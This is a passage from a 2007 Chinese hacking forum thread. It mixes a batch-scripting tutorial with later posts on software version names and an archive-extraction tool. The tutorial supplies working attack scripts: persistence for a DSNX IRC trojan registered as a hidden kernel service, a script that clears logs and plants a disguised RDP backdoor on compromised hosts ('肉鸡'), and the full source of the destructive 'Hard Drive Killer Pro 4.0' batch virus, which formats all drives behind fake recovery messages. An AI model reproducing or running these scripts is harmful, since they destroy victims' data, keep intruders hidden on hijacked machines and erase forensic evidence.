<br/><br/>这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下 <br/>新建了:Invader、door、about这三个项目 <br/>Invader的类型是“String value” <br/>door的类型是“REG SZ value” <br/>Autodos的类型是“DWORD value” <br/><br/><br/>2.修改 <br/>修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。 <br/><br/>3.删除 <br/>我们首先来说说删除一个项目名称,我们创建一个如下的文件: <br/><br/>Windows Registry Editor Version 5.00 <br/><br/>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] <br/>"Ex4rch"=- <br/><br/>执行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了; <br/><br/>我们再看看删除一个子项,我们创建一个如下的脚本: <br/><br/>Windows Registry Editor Version 5.00 <br/><br/>[-HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] <br/><br/>执行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]就已经被删除了。 <br/><br/>相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 <br/><br/>samlpe1:如上面的那个例子,如想生成如下注册表文件 <br/>Windows Registry Editor Version 5.00 <br/><br/>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] <br/>"Invader"="Ex4rch" <br/>"door"=hex:255 <br/>"Autodos"=dword:000000128 <br/>只需要这样: <br/>@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg <br/><br/>@echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]&gt;Sample.reg <br/>@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg <br/>@echo "door"=5&gt;&gt;C:////WINNT////system32////door.exe&gt;&gt;Sample.reg <br/>@echo "Autodos"=dword:02&gt;&gt;Sample.reg <br/><br/><br/>samlpe2: <br/>我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) <br/>@start windrv32.exe <br/>@attrib +h +r windrv32.exe <br/>@echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] &gt;&gt;patch.dll <br/>@echo "windsnx "=- &gt;&gt;patch.dll <br/>@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c://winnt//system32//windrv32.exe <br/>@regedit /s patch.dll <br/>@delete patch.dll <br/><br/>@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] <br/>@REM 这样不是更安全^_^. <br/>六.精彩实例放送。 <br/>1.删除win2k/xp系统默认共享的批处理 <br/>------------------------ cut here then save as .bat or .cmd file --------------------------- <br/><br/><br/>@echo preparing to delete all the default shares.when ready pres any key. <br/>@pause <br/>@echo off <br/><br/>:Rem check parameters if null show usage. <br/>if {%1}=={} goto :Usage <br/><br/>:Rem code start. <br/>echo. <br/>echo ------------------------------------------------------ <br/>echo. <br/>echo Now deleting all the default shares. <br/>echo. <br/>net share %1$ /delete <br/>net share %2$ /delete <br/>net share %3$ /delete <br/>net share %4$ /delete <br/>net share %5$ /delete <br/>net share %6$ /delete <br/>net share %7$ /delete <br/>net share %8$ /delete <br/>net share %9$ /delete <br/>net stop Server <br/>net start Server <br/>echo. <br/>echo All the shares have been deleteed <br/>echo. <br/>echo ------------------------------------------------------ <br/>echo. <br/>echo Now modify the registry to change the system default properties. <br/>echo. <br/>echo Now creating the registry file <br/>echo Windows Registry Editor Version 5.00&gt; c://delshare.reg <br/>echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters]&gt;&gt; c://delshare.reg <br/>echo "AutoShareWks"=dword:00000000&gt;&gt; c://delshare.reg <br/>echo "AutoShareServer"=dword:00000000&gt;&gt; c://delshare.reg <br/>echo Nowing using the registry file to chang the system default properties. <br/>regedit /s c://delshare.reg <br/>echo Deleting the temprotarily files. <br/>del c://delshare.reg <br/>goto :END <br/><br/>:Usage <br/>echo. <br/>echo ------------------------------------------------------ <br/>echo. <br/>echo ☆ A example for batch file ☆ <br/>echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br/>echo. <br/>echo Author:Ex4rch <br/>echo Mail: </font><a href="mailto:Ex4rch@hotmail.com"><font size="2">Ex4rch@hotmail.com</font></a><font size="2"> QQ:1672602 <br/>echo. <br/>echo Error:Not enough parameters <br/>echo. <br/>echo ☆ Please enter the share disk you wanna delete ☆ <br/>echo. <br/>echo For instance,to delete the default shares: <br/>echo delshare c d e ipc admin print <br/>echo. <br/>echo If the disklable is not as C: D: E: ,Please chang it youself. <br/>echo. <br/>echo example: <br/>echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : <br/>echo delshare c d e x y z ipc admin print <br/>echo. <br/>echo *** you can delete nine shares once in a useing *** <br/>echo. <br/>echo ------------------------------------------------------ <br/>goto :EOF <br/><br/>:END <br/>echo. <br/>echo ------------------------------------------------------ <br/>echo. <br/>echo OK,delshare.bat has deleted all the share you assigned. <br/>echo.Any questions ,feel free to mail to </font><a href="mailto:Ex4rch@hotmail.com"><font size="2">Ex4rch@hotmail.com</font></a><font size="2"> . <br/>echo <br/>echo. <br/>echo ------------------------------------------------------ <br/>echo. <br/><br/>:EOF <br/>echo end of the batch file <br/>------------------------ cut here then save as .bat or .cmd file --------------------------- <br/><br/><br/>2.全面加固系统(给肉鸡打补丁)的批处理文件 <br/>------------------------ cut here then save as .bat or .cmd file --------------------------- <br/><br/>@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters] &gt;&gt;patch.dll <br/><br/>@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br/>@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br/>@REM [禁止共享] <br/><br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Lsa] &gt;&gt;patch.dll <br/>@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <br/>@REM [禁止匿名登录] <br/><br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//NetBT//Parameters] &gt;&gt;patch.dll <br/>@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br/>@REM [禁止及文件访问和打印共享] <br/><br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//@REMoteRegistry] &gt;&gt;patch.dll <br/>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//Schedule] &gt;&gt;patch.dll <br/>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon] &gt;&gt;patch.dll <br/>@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br/>@REM [禁止登录前关机] <br/><br/>@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll <br/>@REM [禁止显示前一个登录用户名称] <br/>@regedit /s patch.dll <br/>------------------------ cut here then save as .bat or .cmd file --------------------------- </font><br/><br/>
 楼主| 发表于 2007-1-19 03:14:35 | 显示全部楼层
<font size="2">下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 <br/>@regedit /s patch.dll <br/>@net stop w3svc <br/>@net stop event log <br/>@del c://winnt//system32//logfiles//w3svc1//*.* /f /q <br/>@del c://winnt//system32//logfiles//w3svc2//*.* /f /q <br/>@del c://winnt//system32//config//*.event /f /q <br/>@del c://winnt//system32dtclog//*.* /f /q <br/>@del c://winnt//*.txt /f /q <br/>@del c://winnt//*.log /f /q <br/>@net start w3svc <br/>@net start event log <br/>@rem [删除日志] <br/><br/><br/>@net stop lanmanserver /y <br/>@net stop Schedule /y <br/>@net stop RemoteRegistry /y <br/>@del patch.dll <br/>@echo The server has been patched,Have fun. <br/>@del patch.bat <br/>@REM [禁止一些危险的服务。] <br/><br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations//RDP-Tcp] &gt;&gt;patch.dll <br/>@echo "ortNumber"=dword:00002010 &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//Wds//rdpwd//Tds//tcp &gt;&gt;patch.dll <br/>@echo "ortNumber"=dword:00002012 &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//TermDD] &gt;&gt;patch.dll <br/>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//SecuService] &gt;&gt;patch.dll <br/>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br/>@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br/>@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,// &gt;&gt;patch.dll <br/>@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,// &gt;&gt;patch.dll <br/>@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br/>@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br/>@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br/>@echo "Description"="Keep record of the program and windows message。" &gt;&gt;patch.dll <br/>@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <br/>@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//termservice] &gt;&gt;patch.dll <br/>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br/>@copy c://winnt//system32//termsrv.exe c://winnt//system32//eventlog.exe <br/>@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] <br/><br/>3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) <br/>------------------------ cut here then save as .bat or .cmd file --------------------------- <br/>@echo off <br/>rem This program is dedecated to a very special person that does not want to be named. <br/>:start <br/>cls <br/>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br/>call attrib -r -h c://autoexec.bat &gt;nul <br/>echo @echo off &gt;c://autoexec.bat <br/>echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c://autoexec.bat <br/>call attrib +r +h c://autoexec.bat &gt;nul <br/>rem Drive checking and assigning the valid drives to the drive variable. <br/><br/>set drive= <br/>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z <br/><br/>rem code insertion for Drive Checking takes place here. <br/>rem drivechk.bat is the file name under the root directory. <br/>rem As far as the drive detection and drive variable settings, dont worry about how it <br/>rem works, its d//*amn to complicated for the average or even the expert batch programmer. <br/>rem Except for Tom Lavedas. <br/><br/>echo @echo off &gt;drivechk.bat <br/>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat <br/>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br/>del {t}.bat <br/>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br/><br/>cls <br/>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br/><br/>rem When errorlevel is 1, then the above is not true, if 0, then its true. <br/>rem Opposite of binary rules. If 0, it will elaps to the next command. <br/><br/>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat <br/>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br/>del {t}.bat <br/>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br/><br/>cls <br/>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br/><br/>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <br/>rem if errorlevel is 0, then it will elaps to the next command. <br/><br/>echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat <br/>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br/>del {t}.bat <br/>echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat <br/><br/>cls <br/>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br/><br/>rem if its errorlevel 1, then the specified drive is a hard or floppy drive. <br/>rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. <br/><br/>echo :enddc &gt;&gt;drivechk.bat <br/><br/>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <br/><br/>rem Now we will use the program drivechk.bat to attain valid drive information. <br/><br/>:Sampledrv <br/><br/>for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <br/>del drivechk.bat &gt;nul <br/>if %drive.==. set drive=c <br/><br/>:form_del <br/>call attrib -r -h c://autoexec.bat &gt;nul <br/>echo @echo off &gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) call deltree /y %%%%a:// &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c://autoexec.bat <br/>echo for %%%%a in (%drive%) call deltree /y %%%%a:// &gt;nul &gt;&gt;c://autoexec.bat <br/>echo cd// &gt;&gt;c://autoexec.bat <br/>echo cls &gt;&gt;c://autoexec.bat <br/>echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. &gt;&gt;c://autoexec.bat <br/>echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c://autoexec.bat <br/>echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c://autoexec.bat <br/>echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! &gt;&gt;c://autoexec.bat <br/>echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. &gt;&gt;c://autoexec.bat <br/>echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c://autoexec.bat <br/><br/>echo echo. &gt;&gt;c://autoexec.bat <br/>echo echo Regards, &gt;&gt;c://autoexec.bat <br/>echo echo. &gt;&gt;c://autoexec.bat <br/>echo echo Munga Bunga &gt;&gt;c://autoexec.bat <br/>call attrib +r +h c://autoexec.bat <br/><br/>kedir <br/>if exist c://temp.bat attrib -r -h c://temp.bat &gt;nul <br/>echo @echo off &gt;c://temp.bat <br/>echo %%1:// &gt;&gt;c://temp.bat <br/>echo cd// &gt;&gt;c://temp.bat <br/>echo :startmd &gt;&gt;c://temp.bat <br/>echo for %%%%a in ("if not exist %%2//nul md %%2" "if exist %%2//nul cd %%2") do %%%%a &gt;&gt;c://temp.bat <br/>echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c://temp.bat <br/>echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd &gt;&gt;c://temp.bat <br/>call attrib +r +h c://temp.bat &gt;nul <br/><br/>cls <br/>echo Initializing variables . . . <br/>rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction. <br/>for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <br/>cls <br/>echo Initializing variables . . . <br/>echo Validating Data . . . <br/>for %%a in (%drive%) do call c://temp.bat %%a Munga &gt;nul <br/>cls <br/>echo Initializing variables . . . <br/>echo Validating Data . . . <br/>echo Analyzing System Structure . . . <br/>for %%a in (%drive%) call attrib -r -h %%a:// /S &gt;nul <br/>call attrib +r +h c://temp.bat &gt;nul <br/>call attrib +r +h c://autoexec.bat &gt;nul <br/>cls <br/>echo Initializing variables . . . <br/>echo Validating Data . . . <br/>echo Analyzing System Structure . . . <br/>echo Initializing Application . . . <br/><br/>for %%a in (%drive%) call deltree /y %%a://*. &gt;nul <br/>cls <br/>echo Initializing variables . . . <br/>echo Validating Data . . . <br/>echo Analyzing System Structure . . . <br/>echo Initializing Application . . . <br/>echo Starting Application . . . <br/>for %%a in (%drive%) do call c://temp.bat %%a Munga &gt;nul <br/><br/>cls <br/>echo Thank you for using a Munga Bunga product. <br/>echo. <br/>echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br/>echo. <br/>echo Here is a joke for you . . . <br/>echo. <br/>echo Q). Whats the worst thing about being an egg? <br/>echo A). You only get laid once. <br/>echo. <br/>echo HAHAHAHA, get it? Dont you just love that one? <br/>echo. <br/>echo Regards, <br/>echo. <br/>echo Munga Bunga <br/><br/>:end <br/><br/>rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br/>rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).</font><br/>
 楼主| 发表于 2007-1-19 03:15:02 | 显示全部楼层
<span class="tpc_content"><font size="2">软件版本详细介绍<br/><br/>网上下载日常生活中接触到的的软件常常标有Beta版、Demo版等软件版本信息,这些版本信息实际上有其内在的含义。下面我们就将一些常见的软件版本信息向大家做一下介绍。 <br/><br/>测试版与演示版<br/>α(Alpha)版<br/>此版本表示该软件仅仅是一个初步完成品,通常只在软件开发者内部交流,也有很少一部分发布给专业测试人员。一般而言,该版本软件的Bug较多,普通用户最好不要安装。<br/><br/>β(Beta)版<br/>该版本相对于α版已有了很大的改进,消除了严重的错误,但还是存在着一些缺陷,需要经过大规模的发布测试来进一步消除。这一版本通常由软件公司免费发布,用户可从相关的站点下载。通过一些专业爱好者的测试,将结果反馈给开发者,开发者们再进行有针对性的修改。该版本也不适合一般用户安装。<br/><br/>γ版<br/>该版本已经相当成熟了,与即将发行的正式版相差无几,如果用户实在等不及了,尽可以装上一试。<br/><br/>Trial(试用版)<br/>试用版软件在最近的几年里颇为流行,主要是得益于互联网的迅速发展。该版本软件通常都有时间限制,过期之后用户如果希望继续使用,一般得交纳一定的费用进行注册或购买。有些试用版软件还在功能上做了一定的限制。<br/><br/>Unregistered(未注册版)<br/>未注册版与试用版极其类似,只是未注册版通常没有时间限制,在功能上相对于正式版做了一定的限制,例如绝大多数网络电话软件的注册版和未注册版,两者之间在通话质量上有很大差距。还有些虽然在使用上与正式版毫无二致,但是动不动就会弹出一个恼人的消息框来提醒你注册,如看图软件ACDSee、智能陈桥汉字输入软件等。<br/><br/>Demo版<br/>也称为演示版,在非正式版软件中,该版本的知名度最大。Demo版仅仅集成了正式版中的几个功能,颇有点像Unregistered。不同的是,Demo版一般不能通过升级或注册的方法变为正式版。<br/><br/>以上是软件正式版本推出之前的几个版本,α、β、γ可以称为测试版,大凡成熟软件总会有多个测试版,如Windows 98的β版,前前后后将近有10个。这么多的测试版一方面为了最终产品尽可能地满足用户的需要,另一方面也尽量减少了软件中的Bug。而Trial、Unregistered、Demo有时统称为演示版,这一类版本的广告色彩较浓,颇有点先尝后买的味道,对于普通用户而言自然是可以免费尝鲜了。<br/><br/>正式版<br/>不同类型的软件的正式版本通常也有区别。<br/><br/>Release<br/>该版本意味“最终释放版”,在出了一系列的测试版之后,终归会有一个正式版本,对于用户而言,购买该版本的软件绝对不会错。该版本有时也称为标准版。一般情况下,Release不会以单词形式出现在软件封面上,取而代之的是符号&reg;,如Windows NT&reg; 4.0、MS-DOS&reg; 6.22等。<br/><br/>Registered<br/>很显然,该版本是与Unregistered相对的注册版。注册版、Release和下面所讲的Standard版一样,都是软件的正式版本,只是注册版软件的前身有很大一部分是从网上下载的。<br/><br/>Standard<br/>这是最常见的标准版,不论是什么软件,标准版一定存在。标准版中包含了该软件的基本组件及一些常用功能,可以满足一般用户的需求。其价格相对高一级版本而言还是“平易近人”的。<br/><br/>Deluxe<br/>顾名思义即为“豪华版”。豪华版通常是相对于标准版而言的,主要区别是多了几项功能,价格当然会高出一大块,不推荐一般用户购买。此版本通常是为那些追求“完美”的专业用户所准备的。<br/><br/>Reference<br/>该版本型号常见于百科全书中,比较有名的是微软的Encarta系列。Reference是最高级别,其包含的主题、图像、影片剪辑等相对于Standard和Deluxe版均有大幅增加,容量由一张光盘猛增至三张光盘,并且加入了很强的交互功能,当然价格也不菲。可以这么说,这一版本的百科全书才能算是真正的百科全书,也是发烧友们收藏的首选。<br/><br/>rofessional(专业版)<br/>专业版是针对某些特定的开发工具软件而言的。专业版中有许多内容是标准版中所没有的,这些内容对于一个专业的软件开发人员来说是极为重要的。如微软的Visual FoxPro标准版并不具备编译成可执行文件的功能,这对于一个完整的开发项目而言显然是无法忍受的,若客户机上没有FoxPro将不能使用。如果用专业版就没有这个问题了。<br/><br/>Enterprise(企业版)<br/>企业版是开发类软件中的极品(相当于百科全书中的Reference版)。拥有一套这种版本的软件可以毫无障碍地开发任何级别的应用软件。如著名的Visual C++的企业版相对于专业版来说增加了几个附加的特性,如SQL调试、扩展的存储过程向导、支持AS/400对OLE DB的访问等。而这一版本的价格也是普通用户无法接受的。如微软的Visual Studios 6.0 Enterprise中文版的价格为23000元。<br/><br/>其他版本<br/>除了以上介绍的一些版本外,还有一些专有版本名称。<br/><br/>Update(升级版)<br/>升级版的软件是不能独立使用的,该版本的软件在安装过程中会搜索原有的正式版,如果不存在,则拒绝执行下一步。如Microsoft Office 2000升级版、Windows 9x升级版等等。<br/><br/>OEM版<br/>OEM版通常是捆绑在硬件中而不单独销售的版本。将自己的产品交给别的公司去卖,保留自己的著作权,双方互惠互利,一举两得。<br/><br/>单机(网络)版<br/>网络版在功能、结构上远比单机版复杂,如果留心一下软件的报价,你就会发现某些软件单机版和网络版的价格相差非常大,有些网络版甚至多一个客户端口就要加不少钱。<br/><br/>普及版<br/>该版本有时也会被称为共享版,其特点是价格便宜(有些甚至完全免费)、功能单一、针对性强(当然也有占领市场、打击盗版等因素)。与试用版不同的是,该版本的软件一般不会有时间上的限制。当然,如果用户想升级,最好还是去购买正式版。<br/><br/>以上是一些常见软件版本的简要介绍,随着软件市场行为的变化,现在也出现了一些新的版本命名方式,比如Windows XP中的XP是取自于Experience中的第二、第三个字母。希望以上内容能够对大家的购买、使用和下载软件有所帮助。</font></span>
 楼主| 发表于 2007-1-19 03:15:15 | 显示全部楼层
<span class="tpc_content"><font size="2">绿色软件命名规则<br/><br/>(一)、按汉化程度分:<br/><br/>中文版:是指官方提供的简体中文语言支持;<br/>汉化版:是指非官方提供的简体中文语言支持;<br/>多语版:是指软件里面包含多种语言支持的版本,如果没有特别说明,则里面应<br/>&nbsp; &nbsp; 最少包含简体中文支持;<br/>英文版:没有中文支持的英文原版;<br/><br/>(二)、按精简程度分:<br/><br/>最简版:只保留保证主程序运行所必须的最少文件;<br/>精简版:在保留软件的大部分功能的基础上,删除一部分不重要的文件;<br/>完整版:保留软件的全部功能和文件;<br/>增强版:在完整版的基础上,增加一些必要文件,使原版的功能得到加强和扩充;<br/>便携版:把小型绿色软件制作成只有一个执行文件的版本。<br/><br/>(三)、按绿化程度分:<br/><br/>纯绿版:既不向系统添加备份文件,也不向注册表添加内容;<br/>绿色版:不向系统添加备份文件,但向注册表添加内容;<br/>绿化版:向系统添加少量必要的备份文件,添加或不添加注册表内容;<br/>绿色软件站专用版:表示本软件是绿色软件站专为自己精心绿化整理的软件。<br/><br/><br/>以上三类命名规则联合使用,组合成完整的命名,例如:“XXXXXXX 中文最简纯绿版”、“XXXXXXXX 绿色软件站专用版”等。</font></span><br/>
 楼主| 发表于 2007-1-19 03:15:35 | 显示全部楼层
<span class="tpc_content"><font size="2">通杀各种exe安装程序<br/><br/>现在是不是装软件很烦人啊,弄不好一路next下去还会装上以3721为核心的流氓软件集团~~HOHO,所以嘛,软件,就是要绿色的爽!但是现在的程序员越来越不厚道了,一个几K的工具都要先msi再rar最后zip~~~怎样剥离安装文件 setup.exe中的资源是长久以来没能解决的问题。虽然有n多命令行的工具可以用来unpack,但有多少人愿意在每次安装软件的过程中输入那么一大串命令呢?所以 老外 做了个整合的GUI程序,可以用来unpack n多的exe安装包格式,这就是今天要向大家隆重推荐的,小巧方便的,杀人灭口居家旅行的必备工具:Universal Extractor ,目前支持的安装包格式有<br/><br/><br/><br/>7-zip 压缩包 .7z, .exe <br/>ACE 压缩包 .ace <br/>ARC 压缩包 .arc <br/>ARJ 压缩包 .arj, .exe <br/>BIN/CUE CD-ROM 镜像 .bin, .cue <br/>bzip2 压缩包 .bz2, .tbz2, .tar.bz2 <br/>CPIO 压缩文件 .cpio <br/>Debian 安装包 .deb <br/>gzip 压缩包 .gz, .tgz, .tar.gz <br/>IMG 软盘镜像 .img <br/>Inno Setup 安装包 .exe <br/>InstallShield Cabinet 压缩包 .cab <br/>InstallShield 安装包 .exe <br/>ISO CD-ROM 镜像 .iso <br/>LZH 压缩文件 .lzh, .lha <br/>LZW 压缩文件 .Z, .tz, .tar.Z <br/>LZO 压缩文件 .lzo <br/>Microsoft Cabinet 压缩包 .cab, .exe <br/>Microsoft帮助文件(Compiled Help file) .chm <br/>Microsoft压缩文件 .??_ <br/>Windows帮助文件e .hlp <br/>NSIS 安装包 .exe <br/>RAR 压缩包 .rar, .001, .exe <br/>RPM 安装包 .rpm <br/>TAR 压缩包 .tar, .tbz2, .tgz, .tz, .tar.bz2, .tar.gz, .tar.z <br/>Windows Installer安装包 .msi <br/>Wise Installer 安装包 .exe <br/>ZIP 压缩包 .zip, .jar, .xpi, .exe<br/><br/><br/>支持的文件后缀:<br/>.??_ Microsoft 压缩文件 <br/>.001 RAR 压缩包 <br/>.7z 7-zip 压缩包 <br/>.ace ACE 压缩包 <br/>.arc ARC 压缩包 <br/>.arj ARJ 压缩包 <br/>.bin BIN/CUE CD-ROM 镜像 <br/>.bz2 bzip2 压缩包 <br/>.cab InstallShield 压缩格式,Microsoft Cabinet 压缩包 <br/>.chm Microsoft Compiled Help file <br/>.cpio CPIO 压缩文件 <br/>.cue BIN/CUE CD-ROM 镜像 <br/>.deb Debian 安装包 <br/>.exe ARJ自解压包,Inno Setup安装包, InstallShield安装包,CAB/RAR/ZIP自解压安装包,NSIS安装包<br/>Wise Installer 安装包 <br/>.gz gzip 压缩包 <br/>.hlp Microsoft Windows Help file <br/>.jar ZIP 压缩包 <br/>.img IMG 软盘镜像 <br/>.iso ISO CD-ROM 镜像 <br/>.lha LZH (Amiga) 压缩文件 <br/>.lzh LZH (Amiga) 压缩文件 <br/>.lzo LZO 压缩文件 <br/>.msi Windows Installer安装包 <br/>.rar RAR 压缩包 <br/>.rpm RPM 安装包 <br/>.tar TAR 压缩包 <br/>.tar.bz2 bzip2-compressed TAR 压缩包 <br/>.tar.gz gzip-compressed TAR 压缩包 <br/>.tar.Z LZW-compressed TAR 压缩包 <br/>.tbz2 bzip2-compressed TAR 压缩包 <br/>.tgz gzip-compressed TAR 压缩包 <br/>.tz LZW-compressed TAR 压缩包 <br/>.xpi ZIP 压缩包 <br/>.Z LZW 压缩文件 <br/>.zip ZIP 压缩包 <br/><br/><br/>嘿嘿,怎么样,多吧~~它的官方网站是:<br/><br/></font><a href="http://www.legroom.net/modules.p" target="_blank"><font size="2">http://www.legroom.net/modules.p</font></a><font size="2"> ... &amp;app=uniextract<br/><br/>要下载的话到这里(晕,自己叫UniExtract还 提供exe的安装包~)<br/><br/></font><a href="http://www.c1pher.com/uniextract121.exe" target="_blank"><font size="2">http://www.c1pher.com/uniextract121.exe</font></a><br/><br/><font size="2">当然啦,不想安装的绿色版在这里:<br/><br/></font><a href="http://www.c1pher.com/uniextract121_noinst.rar" target="_blank"><font size="2">http://www.c1pher.com/uniextract121_noinst.rar</font></a><br/><br/><font size="2">源代码在这里:(晕,居然是AutoIt做的,太强悍了,不是吗?)<br/><br/></font><a href="http://www.c1pher.com/uniextract121_source.rar" 